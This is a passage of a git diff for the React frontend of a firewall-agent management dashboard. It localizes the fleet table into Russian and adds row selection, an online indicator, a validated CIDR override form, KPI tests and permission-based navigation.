if (!iso) return '—'
|
||||
const d = new Date(iso)
|
||||
if (Number.isNaN(d.getTime())) return iso
|
||||
return d.toLocaleString('ru-RU')
|
||||
return formatDateTime(iso)
|
||||
}
|
||||
|
||||
export function AgentFactsPanel({ agent }: AgentFactsPanelProps) {
|
||||
|
||||
@@ -1,11 +1,15 @@
|
||||
import { useCallback, useMemo, type MouseEvent, type ReactNode } from 'react'
|
||||
import type { ColumnDef } from '@tanstack/react-table'
|
||||
import type { ColumnDef, RowSelectionState } from '@tanstack/react-table'
|
||||
import { Check, Copy, PanelRight, Trash2 } from 'lucide-react'
|
||||
import type { Agent } from '@evofw/shared'
|
||||
import type { Filter, FilterFieldConfig } from '@/components/reui/filters'
|
||||
import { ResourcePage } from '@/components/reui-kit'
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
|
||||
import {
|
||||
DataGridTableRowSelect,
|
||||
DataGridTableRowSelectAll,
|
||||
} from '@/components/reui/data-grid/data-grid-table'
|
||||
import {
|
||||
DataGridMutedCell,
|
||||
DataGridPrimaryCell,
|
||||
@@ -20,12 +24,15 @@ import {
|
||||
agentTrafficAccepted,
|
||||
agentTrafficDropped,
|
||||
} from '@/components/agents/agent-traffic'
|
||||
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||
import { formatRelativeTime } from '@/lib/format'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import {
|
||||
Tooltip,
|
||||
TooltipContent,
|
||||
TooltipTrigger,
|
||||
} from '@evofw/ui/components/tooltip'
|
||||
import { formatPackets } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Fleet triage DataGrid — firewall ops density.
|
||||
@@ -34,30 +41,6 @@ import {
|
||||
* · https://reui.io/preview/base/solution-agents-1
|
||||
*/
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
||||
notation: 'compact',
|
||||
maximumFractionDigits: 1,
|
||||
})
|
||||
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
})
|
||||
|
||||
function formatPackets(n: number | undefined, hasApply: boolean): string {
|
||||
if (!hasApply || n === undefined) return '—'
|
||||
return packetFmt.format(n)
|
||||
}
|
||||
|
||||
function formatAgentSeen(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
export type AgentFleetDataGridProps = {
|
||||
data: Agent[]
|
||||
filterFields: FilterFieldConfig[]
|
||||
@@ -77,7 +60,17 @@ export type AgentFleetDataGridProps = {
|
||||
error?: Error | null
|
||||
onRetry?: () => void
|
||||
emptyAction?: ReactNode
|
||||
filteredEmptyMessage?: string
|
||||
toolbarExtra?: ReactNode
|
||||
/** Bulk-операции: controlled selection пробрасывается в ResourcePage. */
|
||||
enableRowSelection?: boolean
|
||||
rowSelection?: RowSelectionState
|
||||
onRowSelectionChange?: (rowSelection: RowSelectionState) => void
|
||||
selectionToolbar?: (ctx: {
|
||||
selectedIds: string[]
|
||||
selectedCount: number
|
||||
clearSelection: () => void
|
||||
}) => ReactNode
|
||||
onSelect: (id: string) => void
|
||||
onApprove: (id: string) => void
|
||||
approvePending?: boolean
|
||||
@@ -104,7 +97,12 @@ export function AgentFleetDataGrid({
|
||||
error,
|
||||
onRetry,
|
||||
emptyAction,
|
||||
filteredEmptyMessage,
|
||||
toolbarExtra,
|
||||
enableRowSelection,
|
||||
rowSelection,
|
||||
onRowSelectionChange,
|
||||
selectionToolbar,
|
||||
onSelect,
|
||||
onApprove,
|
||||
approvePending,
|
||||
@@ -121,6 +119,18 @@ export function AgentFleetDataGrid({
|
||||
|
||||
const columns: ColumnDef<Agent>[] = useMemo(
|
||||
() => [
|
||||
...(enableRowSelection
|
||||
? [
|
||||
{
|
||||
id: '__select__',
|
||||
enableSorting: false,
|
||||
enableResizing: false,
|
||||
size: 44,
|
||||
header: () => <DataGridTableRowSelectAll />,
|
||||
cell: ({ row }) => <DataGridTableRowSelect row={row} />,
|
||||
} as ColumnDef<Agent>,
|
||||
]
|
||||
: []),
|
||||
{
|
||||
accessorKey: 'name',
|
||||
size: 260,
|
||||
@@ -159,12 +169,12 @@ export function AgentFleetDataGrid({
|
||||
},
|
||||
{
|
||||
id: 'default_action',
|
||||
size: 100,
|
||||
minSize: 90,
|
||||
maxSize: 120,
|
||||
size: 130,
|
||||
minSize: 120,
|
||||
maxSize: 150,
|
||||
accessorFn: (row) => row.default_action,
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Default" />
|
||||
<DataGridColumnHeader column={column} title="Политика" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const drop = row.original.default_action === 'drop'
|
||||
@@ -174,19 +184,19 @@ export function AgentFleetDataGrid({
|
||||
size="sm"
|
||||
radius="full"
|
||||
>
|
||||
{drop ? 'Drop' : 'Accept'}
|
||||
{drop ? 'Блокировать' : 'Пропускать'}
|
||||
</Badge>
|
||||
)
|
||||
},
|
||||
},
|
||||
{
|
||||
id: 'apply',
|
||||
size: 100,
|
||||
minSize: 90,
|
||||
maxSize: 120,
|
||||
size: 110,
|
||||
minSize: 100,
|
||||
maxSize: 130,
|
||||
accessorFn: (row) => row.last_apply_status ?? '',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Apply" />
|
||||
<DataGridColumnHeader column={column} title="Применение" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const a = row.original
|
||||
@@ -199,7 +209,7 @@ export function AgentFleetDataGrid({
|
||||
}
|
||||
>
|
||||
<Badge variant="destructive-light" size="sm">
|
||||
error
|
||||
Ошибка
|
||||
</Badge>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent className="max-w-sm">
|
||||
@@ -211,9 +221,10 @@ export function AgentFleetDataGrid({
|
||||
if (!a.last_apply_status && !a.last_apply_at) {
|
||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||
}
|
||||
const status = a.last_apply_status ?? 'ok'
|
||||
return (
|
||||
<Badge variant="secondary" size="sm">
|
||||
{a.last_apply_status ?? 'ok'}
|
||||
{status === 'applied' ? 'Применено' : status}
|
||||
</Badge>
|
||||
)
|
||||
},
|
||||
@@ -226,13 +237,13 @@ export function AgentFleetDataGrid({
|
||||
accessorFn: (row) =>
|
||||
agentTrafficDropped(row) + agentTrafficAccepted(row),
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Traffic" />
|
||||
<DataGridColumnHeader column={column} title="Трафик" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const a = row.original
|
||||
const hasApply = agentHasTrafficSample(a)
|
||||
const dropped = formatPackets(agentTrafficDropped(a), hasApply)
|
||||
const accepted = formatPackets(agentTrafficAccepted(a), hasApply)
|
||||
const dropped = hasApply ? formatPackets(agentTrafficDropped(a)) : '—'
|
||||
const accepted = hasApply ? formatPackets(agentTrafficAccepted(a)) : '—'
|
||||
if (dropped === '—' && accepted === '—') {
|
||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||
}
|
||||
@@ -247,39 +258,44 @@ export function AgentFleetDataGrid({
|
||||
},
|
||||
{
|
||||
accessorKey: 'last_seen_at',
|
||||
size: 140,
|
||||
minSize: 120,
|
||||
maxSize: 180,
|
||||
size: 150,
|
||||
minSize: 130,
|
||||
maxSize: 190,
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Seen" />
|
||||
<DataGridColumnHeader column={column} title="Активность" />
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const a = row.original
|
||||
const short = formatAgentSeen(a.last_seen_at)
|
||||
if (!a.last_seen_at || short === '—') {
|
||||
if (!a.last_seen_at) {
|
||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||
}
|
||||
return (
|
||||
<DataGridPrimaryCell
|
||||
accent="default"
|
||||
title={short}
|
||||
subtitle={a.last_seen_ip ?? undefined}
|
||||
className="[&>span:first-child]:text-xs [&>span:first-child]:font-normal [&>span:first-child]:tabular-nums"
|
||||
/>
|
||||
<div className="flex min-w-0 items-center gap-2">
|
||||
<AgentOnlineDot agent={a} />
|
||||
<DataGridPrimaryCell
|
||||
accent="default"
|
||||
title={formatRelativeTime(a.last_seen_at)}
|
||||
subtitle={a.last_seen_ip ?? undefined}
|
||||
className="[&>span:first-child]:text-xs [&>span:first-child]:font-normal"
|
||||
/>
|
||||
</div>
|
||||
)
|
||||
},
|
||||
},
|
||||
{
|
||||
id: 'gen',
|
||||
size: 70,
|
||||
minSize: 60,
|
||||
maxSize: 90,
|
||||
size: 110,
|
||||
minSize: 100,
|
||||
maxSize: 130,
|
||||
accessorFn: (row) => row.policy_generation,
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Gen" />
|
||||
<DataGridColumnHeader column={column} title="Поколение" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
<span
|
||||
className="text-muted-foreground text-xs tabular-nums"
|
||||
title="Версия применённой политики — растёт при каждом apply"
|
||||
>
|
||||
{row.original.policy_generation}
|
||||
</span>
|
||||
),
|
||||
@@ -300,7 +316,7 @@ export function AgentFleetDataGrid({
|
||||
<Button
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
aria-label="Approve"
|
||||
aria-label="Утвердить"
|
||||
disabled={approvePending}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation()
|
||||
@@ -314,7 +330,7 @@ export function AgentFleetDataGrid({
|
||||
<Button
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
aria-label="Copy install"
|
||||
aria-label="Скопировать команду установки"
|
||||
onClick={(e) => handleCopy(a.install_curl!, e)}
|
||||
>
|
||||
<Copy className="size-3.5" />
|
||||
@@ -348,7 +364,7 @@ export function AgentFleetDataGrid({
|
||||
},
|
||||
},
|
||||
],
|
||||
[approvePending, handleCopy, onApprove, onDelete, onSelect],
|
||||
[approvePending, handleCopy, onApprove, onDelete, onSelect, enableRowSelection],
|
||||
)
|
||||
|
||||
return (
|
||||
@@ -369,6 +385,10 @@ export function AgentFleetDataGrid({
|
||||
getSearchText={getSearchText}
|
||||
tableLayout={{ width: 'fixed', columnsResizable: true }}
|
||||
onRowClick={(row) => onSelect(row.id)}
|
||||
enableRowSelection={enableRowSelection}
|
||||
rowSelection={rowSelection}
|
||||
onRowSelectionChange={onRowSelectionChange}
|
||||
selectionToolbar={selectionToolbar}
|
||||
tabs={tabs}
|
||||
activeTab={activeTab}
|
||||
onTabChange={onTabChange}
|
||||
@@ -378,10 +398,11 @@ export function AgentFleetDataGrid({
|
||||
error={error}
|
||||
onRetry={onRetry}
|
||||
toolbarExtra={toolbarExtra}
|
||||
filteredEmptyMessage={filteredEmptyMessage}
|
||||
emptyState={{
|
||||
title: 'Нет агентов',
|
||||
description:
|
||||
'Создайте агента — он появится в списке как Invited с командой установки.',
|
||||
'Создайте агента — он появится в списке со статусом «Приглашён» и командой установки.',
|
||||
action: emptyAction,
|
||||
}}
|
||||
/>
|
||||
|
||||
@@ -33,6 +33,7 @@ import {
|
||||
SelectValue,
|
||||
} from '@evofw/ui/components/select'
|
||||
import { TabsContent } from '@evofw/ui/components/tabs'
|
||||
import { formatDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Observed host firewall + listeners (Linux).
|
||||
@@ -229,7 +230,7 @@ export function AgentHostFirewall({ agentId }: AgentHostFirewallProps) {
|
||||
<FrameDescription>
|
||||
Снимок nft/iptables/ufw/firewalld + listeners. EvoFW vs foreign.
|
||||
{q.data?.collected_at
|
||||
? ` Обновлено: ${new Date(q.data.collected_at).toLocaleString('ru-RU')}`
|
||||
? ` Обновлено: ${formatDateTime(q.data.collected_at)}`
|
||||
: ' Пока нет снимка — дождитесь sync агента.'}
|
||||
</FrameDescription>
|
||||
</FrameHeader>
|
||||
|
||||
@@ -1,123 +0,0 @@
|
||||
import type { Agent } from '@evofw/shared'
|
||||
import {
|
||||
Timeline,
|
||||
TimelineContent,
|
||||
TimelineDate,
|
||||
TimelineHeader,
|
||||
TimelineIndicator,
|
||||
TimelineItem,
|
||||
TimelineSeparator,
|
||||
TimelineTitle,
|
||||
} from '@/components/reui/timeline'
|
||||
import {
|
||||
Frame,
|
||||
FrameDescription,
|
||||
FrameHeader,
|
||||
FramePanel,
|
||||
FrameTitle,
|
||||
} from '@/components/reui/frame'
|
||||
|
||||
/**
|
||||
* Agent lifecycle timeline.
|
||||
* Preview: https://reui.io/preview/base/solution-agents-3
|
||||
* Docs: https://reui.io/docs/components/base/timeline
|
||||
*/
|
||||
|
||||
type Step = {
|
||||
title: string
|
||||
date?: string | null
|
||||
detail?: string
|
||||
done: boolean
|
||||
}
|
||||
|
||||
function formatWhen(iso?: string | null): string | undefined {
|
||||
if (!iso) return undefined
|
||||
const d = new Date(iso)
|
||||
if (Number.isNaN(d.getTime())) return iso
|
||||
return d.toLocaleString('ru-RU')
|
||||
}
|
||||
|
||||
export function AgentLifecycleTimeline({ agent }: { agent: Agent }) {
|
||||
const steps: Step[] = [
|
||||
{
|
||||
title: 'Создан (Invited)',
|
||||
date: agent.created_at,
|
||||
detail: 'Install-ссылка выдана',
|
||||
done: true,
|
||||
},
|
||||
{
|
||||
title: 'Первый контакт',
|
||||
date: agent.last_seen_at,
|
||||
detail: agent.last_seen_ip
|
||||
? `IP ${agent.last_seen_ip}`
|
||||
: agent.hostname
|
||||
? agent.hostname
|
||||
: 'Ещё не подключался',
|
||||
done: Boolean(agent.last_seen_at),
|
||||
},
|
||||
{
|
||||
title: 'Approved',
|
||||
date: agent.approved_at,
|
||||
detail: agent.status === 'pending' ? 'Ожидает approve' : undefined,
|
||||
done: Boolean(agent.approved_at) || agent.status === 'approved',
|
||||
},
|
||||
{
|
||||
title: 'Last apply',
|
||||
date: agent.last_apply_at,
|
||||
detail: agent.last_apply_error
|
||||
? agent.last_apply_error
|
||||
: (agent.last_apply_status ??
|
||||
(agent.last_apply_prefix_count != null
|
||||
? `${agent.last_apply_prefix_count} prefixes`
|
||||
: undefined)),
|
||||
done: Boolean(agent.last_apply_at),
|
||||
},
|
||||
]
|
||||
|
||||
if (agent.revoked_at || agent.status === 'revoked') {
|
||||
steps.push({
|
||||
title: 'Revoked',
|
||||
date: agent.revoked_at,
|
||||
done: true,
|
||||
})
|
||||
}
|
||||
|
||||
const activeStep = Math.max(
|
||||
1,
|
||||
steps.reduce((acc, s, i) => (s.done ? i + 1 : acc), 1),
|
||||
)
|
||||
|
||||
return (
|
||||
<Frame dense spacing="sm">
|
||||
<FrameHeader>
|
||||
<FrameTitle>Жизненный цикл</FrameTitle>
|
||||
<FrameDescription>
|
||||
Invite → enroll → approve → apply
|
||||
</FrameDescription>
|
||||
</FrameHeader>
|
||||
<FramePanel>
|
||||
<Timeline value={activeStep} className="gap-4 ps-6">
|
||||
{steps.map((s, i) => (
|
||||
<TimelineItem key={s.title} step={i + 1}>
|
||||
<TimelineSeparator />
|
||||
<TimelineIndicator />
|
||||
<TimelineHeader>
|
||||
<TimelineTitle>{s.title}</TimelineTitle>
|
||||
{s.date ? (
|
||||
<TimelineDate dateTime={s.date}>
|
||||
{formatWhen(s.date)}
|
||||
</TimelineDate>
|
||||
) : (
|
||||
<TimelineDate>—</TimelineDate>
|
||||
)}
|
||||
</TimelineHeader>
|
||||
{s.detail ? (
|
||||
<TimelineContent>{s.detail}</TimelineContent>
|
||||
) : null}
|
||||
</TimelineItem>
|
||||
))}
|
||||
</Timeline>
|
||||
</FramePanel>
|
||||
</Frame>
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
import type { Agent } from '@evofw/shared'
|
||||
import { isAgentOnline } from '@/lib/agent-online'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
|
||||
/** Индикатор «на связи» (last_seen < 5 мин) — тот же порог, что в API. */
|
||||
export function AgentOnlineDot({
|
||||
agent,
|
||||
className,
|
||||
}: {
|
||||
agent: Pick<Agent, 'last_seen_at'> | null | undefined
|
||||
className?: string
|
||||
}) {
|
||||
const online = isAgentOnline(agent)
|
||||
const label = online ? 'На связи' : 'Не на связи'
|
||||
return (
|
||||
<span
|
||||
role="img"
|
||||
aria-label={label}
|
||||
title={label}
|
||||
className={cn(
|
||||
'inline-block size-2 shrink-0 rounded-full',
|
||||
online ? 'bg-success' : 'bg-muted-foreground/30',
|
||||
className,
|
||||
)}
|
||||
/>
|
||||
)
|
||||
}
|
||||
@@ -1,6 +1,10 @@
|
||||
import { useState } from 'react'
|
||||
import { Trash2 } from 'lucide-react'
|
||||
import { toast } from 'sonner'
|
||||
import { Controller, useForm } from 'react-hook-form'
|
||||
import { zodResolver } from '@hookform/resolvers/zod'
|
||||
import { z } from 'zod'
|
||||
import { parseListEntry } from '@evofw/shared'
|
||||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import {
|
||||
agentOverridesQueryOptions,
|
||||
@@ -8,8 +12,9 @@ import {
|
||||
} from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { LoadingButton } from '@/components/loading-button'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { Field, FieldLabel } from '@evofw/ui/components/field'
|
||||
import { Field, FieldError, FieldLabel } from '@evofw/ui/components/field'
|
||||
import { Input } from '@evofw/ui/components/input'
|
||||
import { ScrollArea } from '@evofw/ui/components/scroll-area'
|
||||
import {
|
||||
@@ -40,6 +45,29 @@ type OverrideSheetProps = {
|
||||
onOpenChange: (open: boolean) => void
|
||||
}
|
||||
|
||||
const OVERRIDE_ACTION_ITEMS = [
|
||||
{ value: 'deny', label: 'deny — блокировать' },
|
||||
{ value: 'allow', label: 'allow — пропускать' },
|
||||
] as const
|
||||
|
||||
const overrideSchema = z.object({
|
||||
cidr: z
|
||||
.string()
|
||||
.trim()
|
||||
.min(1, 'Укажите CIDR или IP')
|
||||
.refine((v) => {
|
||||
try {
|
||||
const kind = parseListEntry(v).kind
|
||||
return kind === 'cidr' || kind === 'ip'
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}, 'Ожидается IP или CIDR, например 1.2.3.4/32'),
|
||||
action: z.enum(['deny', 'allow']),
|
||||
})
|
||||
|
||||
type OverrideValues = z.infer<typeof overrideSchema>
|
||||
|
||||
export function AgentOverrideSheet({
|
||||
agentId,
|
||||
open,
|
||||
@@ -50,18 +78,21 @@ export function AgentOverrideSheet({
|
||||
...agentOverridesQueryOptions(agentId),
|
||||
enabled: open,
|
||||
})
|
||||
const [cidr, setCidr] = useState('')
|
||||
const [action, setAction] = useState<'allow' | 'deny'>('deny')
|
||||
const form = useForm<OverrideValues>({
|
||||
resolver: zodResolver(overrideSchema),
|
||||
defaultValues: { cidr: '', action: 'deny' },
|
||||
mode: 'onBlur',
|
||||
})
|
||||
|
||||
const add = useMutation({
|
||||
mutationFn: () =>
|
||||
mutationFn: (values: OverrideValues) =>
|
||||
apiFetch(`/api/v1/agents/${agentId}/overrides`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ cidr, action }),
|
||||
body: JSON.stringify(values),
|
||||
}),
|
||||
onSuccess: () => {
|
||||
toast.success('Override добавлен — подхватится на следующей итерации sync')
|
||||
setCidr('')
|
||||
form.reset({ cidr: '', action: 'deny' })
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'overrides'] })
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId] })
|
||||
},
|
||||
@@ -96,42 +127,58 @@ export function AgentOverrideSheet({
|
||||
|
||||
<ScrollArea className="flex-1 px-4">
|
||||
<div className="flex flex-col gap-4 py-2 pb-4">
|
||||
<div className="grid gap-3">
|
||||
<Field>
|
||||
<form
|
||||
onSubmit={form.handleSubmit((values) => add.mutateAsync(values))}
|
||||
className="grid gap-3"
|
||||
>
|
||||
<Field
|
||||
data-invalid={Boolean(form.formState.errors.cidr) || undefined}
|
||||
>
|
||||
<FieldLabel htmlFor="ov-cidr">CIDR / IP</FieldLabel>
|
||||
<Input
|
||||
id="ov-cidr"
|
||||
placeholder="1.2.3.4/32"
|
||||
value={cidr}
|
||||
onChange={(e) => setCidr(e.target.value)}
|
||||
{...form.register('cidr')}
|
||||
aria-invalid={Boolean(form.formState.errors.cidr) || undefined}
|
||||
/>
|
||||
<FieldError errors={[form.formState.errors.cidr]} />
|
||||
</Field>
|
||||
<Field>
|
||||
<FieldLabel>Действие</FieldLabel>
|
||||
<Select
|
||||
value={action}
|
||||
onValueChange={(v) => {
|
||||
if (v) setAction(v as 'allow' | 'deny')
|
||||
}}
|
||||
>
|
||||
<SelectTrigger className="w-full">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="deny">deny</SelectItem>
|
||||
<SelectItem value="allow">allow</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<Controller
|
||||
control={form.control}
|
||||
name="action"
|
||||
render={({ field }) => (
|
||||
<Select
|
||||
items={[...OVERRIDE_ACTION_ITEMS]}
|
||||
value={field.value}
|
||||
onValueChange={(v) => {
|
||||
if (v === 'allow' || v === 'deny') field.onChange(v)
|
||||
}}
|
||||
>
|
||||
<SelectTrigger className="w-full">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{OVERRIDE_ACTION_ITEMS.map((item) => (
|
||||
<SelectItem key={item.value} value={item.value}>
|
||||
{item.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
)}
|
||||
/>
|
||||
</Field>
|
||||
<Button
|
||||
<LoadingButton
|
||||
type="submit"
|
||||
size="sm"
|
||||
isLoading={add.isPending}
|
||||
className="self-start"
|
||||
disabled={!cidr.trim() || add.isPending}
|
||||
onClick={() => add.mutate()}
|
||||
>
|
||||
Добавить
|
||||
</Button>
|
||||
</div>
|
||||
</LoadingButton>
|
||||
</form>
|
||||
|
||||
<div className="flex flex-col gap-2">
|
||||
<p className="text-sm font-medium">
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import { isAgentStale, computeFleetCounts } from './agents-fleet-kpis'
|
||||
import type { Agent } from '@evofw/shared'
|
||||
|
||||
function agent(patch: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'a1',
|
||||
name: 'a',
|
||||
hostname: null,
|
||||
platform: 'linux',
|
||||
token_prefix: 'x',
|
||||
status: 'approved',
|
||||
default_action: 'accept',
|
||||
policy_mode: 'blacklist',
|
||||
policy_generation: 1,
|
||||
last_seen_at: null,
|
||||
last_seen_ip: null,
|
||||
last_apply_at: null,
|
||||
last_apply_status: null,
|
||||
last_apply_error: null,
|
||||
last_apply_prefix_count: null,
|
||||
last_apply_packets_dropped: null,
|
||||
last_apply_packets_accepted: null,
|
||||
total_packets_dropped: 0,
|
||||
total_packets_accepted: 0,
|
||||
last_apply_kernel_method: null,
|
||||
client_version: null,
|
||||
created_at: '2026-01-01T00:00:00Z',
|
||||
approved_at: null,
|
||||
revoked_at: null,
|
||||
install_curl: null,
|
||||
install_link_id: null,
|
||||
...patch,
|
||||
} as Agent
|
||||
}
|
||||
|
||||
describe('agents-fleet-kpis', () => {
|
||||
it('stale = approved + unseen or seen >24h ago; never for pending', () => {
|
||||
const now = Date.parse('2026-09-20T12:00:00Z')
|
||||
expect(isAgentStale(agent({ last_seen_at: null }), now)).toBe(true)
|
||||
expect(
|
||||
isAgentStale(agent({ last_seen_at: '2026-09-20T11:00:00Z' }), now),
|
||||
).toBe(false)
|
||||
expect(
|
||||
isAgentStale(agent({ last_seen_at: '2026-09-19T11:00:00Z' }), now),
|
||||
).toBe(true)
|
||||
expect(
|
||||
isAgentStale(
|
||||
agent({ status: 'pending', last_seen_at: null }),
|
||||
now,
|
||||
),
|
||||
).toBe(false)
|
||||
expect(
|
||||
isAgentStale(agent({ last_seen_at: 'garbage' }), now),
|
||||
).toBe(true)
|
||||
})
|
||||
|
||||
it('computeFleetCounts tallies statuses, stale and apply errors', () => {
|
||||
const now = Date.now()
|
||||
const counts = computeFleetCounts([
|
||||
agent({ id: '1', status: 'pending' }),
|
||||
agent({ id: '2', status: 'invited' }),
|
||||
agent({ id: '3', status: 'revoked' }),
|
||||
agent({ id: '4', last_seen_at: new Date(now).toISOString() }),
|
||||
agent({
|
||||
id: '5',
|
||||
last_seen_at: new Date(now - 25 * 3600_000).toISOString(),
|
||||
}),
|
||||
agent({
|
||||
id: '6',
|
||||
last_seen_at: new Date(now).toISOString(),
|
||||
last_apply_error: 'boom',
|
||||
}),
|
||||
])
|
||||
expect(counts.pending).toBe(1)
|
||||
expect(counts.invited).toBe(1)
|
||||
expect(counts.revoked).toBe(1)
|
||||
expect(counts.approved).toBe(3)
|
||||
expect(counts.stale).toBe(1)
|
||||
expect(counts.applyErrors).toBe(1)
|
||||
})
|
||||
})
|
||||
@@ -52,24 +52,24 @@ export function fleetKpiCards(
|
||||
return [
|
||||
{
|
||||
id: 'pending',
|
||||
label: 'Pending',
|
||||
label: 'Ожидают',
|
||||
value: counts.pending,
|
||||
hint: 'approve backlog',
|
||||
hint: 'одобрение',
|
||||
icon: icons.pending,
|
||||
iconClassName: 'text-warning',
|
||||
variant: counts.pending > 0 ? 'warning' : 'default',
|
||||
},
|
||||
{
|
||||
id: 'invited',
|
||||
label: 'Invited',
|
||||
label: 'Приглашённые',
|
||||
value: counts.invited,
|
||||
hint: 'ожидают install',
|
||||
hint: 'ждут установки',
|
||||
icon: icons.invited,
|
||||
iconClassName: 'text-info',
|
||||
},
|
||||
{
|
||||
id: 'approved',
|
||||
label: 'Approved',
|
||||
label: 'Одобренные',
|
||||
value: counts.approved,
|
||||
hint: 'в парке',
|
||||
icon: icons.approved,
|
||||
@@ -77,9 +77,9 @@ export function fleetKpiCards(
|
||||
},
|
||||
{
|
||||
id: 'stale',
|
||||
label: 'Offline / stale',
|
||||
label: 'Не на связи',
|
||||
value: counts.stale,
|
||||
hint: '>24ч без seen',
|
||||
hint: 'нет seen >24ч',
|
||||
icon: icons.stale,
|
||||
iconClassName: 'text-muted-foreground',
|
||||
variant: counts.stale > 0 ? 'warning' : 'default',
|
||||
|
||||
@@ -1,14 +1,8 @@
|
||||
import { Link, useRouterState } from '@tanstack/react-router'
|
||||
import {
|
||||
LayoutDashboardIcon,
|
||||
ServerIcon,
|
||||
ListIcon,
|
||||
ShieldIcon,
|
||||
BarChart3Icon,
|
||||
SettingsIcon,
|
||||
} from 'lucide-react'
|
||||
import { AppSwitcher } from '@/components/app-switcher'
|
||||
import { NavUser } from '@/components/layout/nav-user'
|
||||
import { NAV_SECTIONS, navItemsForSection, type NavItem } from '@/lib/nav'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import {
|
||||
Sidebar,
|
||||
SidebarContent,
|
||||
@@ -22,22 +16,7 @@ import {
|
||||
SidebarMenuItem,
|
||||
} from '@evofw/ui/components/sidebar'
|
||||
|
||||
const overviewNav = [
|
||||
{ to: '/', label: 'Панель управления', icon: LayoutDashboardIcon, exact: true },
|
||||
] as const
|
||||
|
||||
const opsNav = [
|
||||
{ to: '/agents', label: 'Агенты', icon: ServerIcon, exact: false },
|
||||
{ to: '/lists', label: 'Списки', icon: ListIcon, exact: false },
|
||||
{ to: '/rules', label: 'Наборы правил', icon: ShieldIcon, exact: false },
|
||||
{ to: '/stats', label: 'Статистика', icon: BarChart3Icon, exact: false },
|
||||
] as const
|
||||
|
||||
const systemNav = [
|
||||
{ to: '/settings', label: 'Настройки', icon: SettingsIcon, exact: false },
|
||||
] as const
|
||||
|
||||
function isNavActive(pathname: string, to: string, exact: boolean) {
|
||||
function isNavActive(pathname: string, to: string, exact?: boolean) {
|
||||
if (exact) return pathname === to
|
||||
return pathname === to || pathname.startsWith(`${to}/`)
|
||||
}
|
||||
@@ -46,22 +25,23 @@ function NavSection({
|
||||
label,
|
||||
items,
|
||||
pathname,
|
||||
can,
|
||||
}: {
|
||||
label: string
|
||||
items: readonly {
|
||||
to: string
|
||||
label: string
|
||||
icon: typeof ServerIcon
|
||||
exact: boolean
|
||||
}[]
|
||||
items: readonly NavItem[]
|
||||
pathname: string
|
||||
can: (permission: string) => boolean
|
||||
}) {
|
||||
const visible = items.filter(
|
||||
(item) => !item.permission || can(item.permission),
|
||||
)
|
||||
if (visible.length === 0) return null
|
||||
return (
|
||||
<SidebarGroup>
|
||||
<SidebarGroupLabel>{label}</SidebarGroupLabel>
|
||||
<SidebarGroupContent>
|
||||
<SidebarMenu>
|
||||
{items.map((item) => (
|
||||
{visible.map((item) => (
|
||||
<SidebarMenuItem key={item.to}>
|
||||
<SidebarMenuButton
|
||||
tooltip={item.label}
|
||||
@@ -83,6 +63,7 @@ function NavSection({
|
||||
|
||||
export function AppSidebar() {
|
||||
const pathname = useRouterState({ select: (s) => s.location.pathname })
|
||||
const can = useCan()
|
||||
|
||||
return (
|
||||
<Sidebar collapsible="icon">
|
||||
@@ -90,12 +71,19 @@ export function AppSidebar() {
|
||||
<AppSwitcher />
|
||||
</SidebarHeader>
|
||||
<SidebarContent>
|
||||
<NavSection label="Обзор" items={overviewNav} pathname={pathname} />
|
||||
<NavSection label="Операции" items={opsNav} pathname={pathname} />
|
||||
<NavSection label="Система" items={systemNav} pathname={pathname} />
|
||||
{NAV_SECTIONS.map((section) => (
|
||||
<NavSection
|
||||
key={section.id}
|
||||
label={section.label}
|
||||
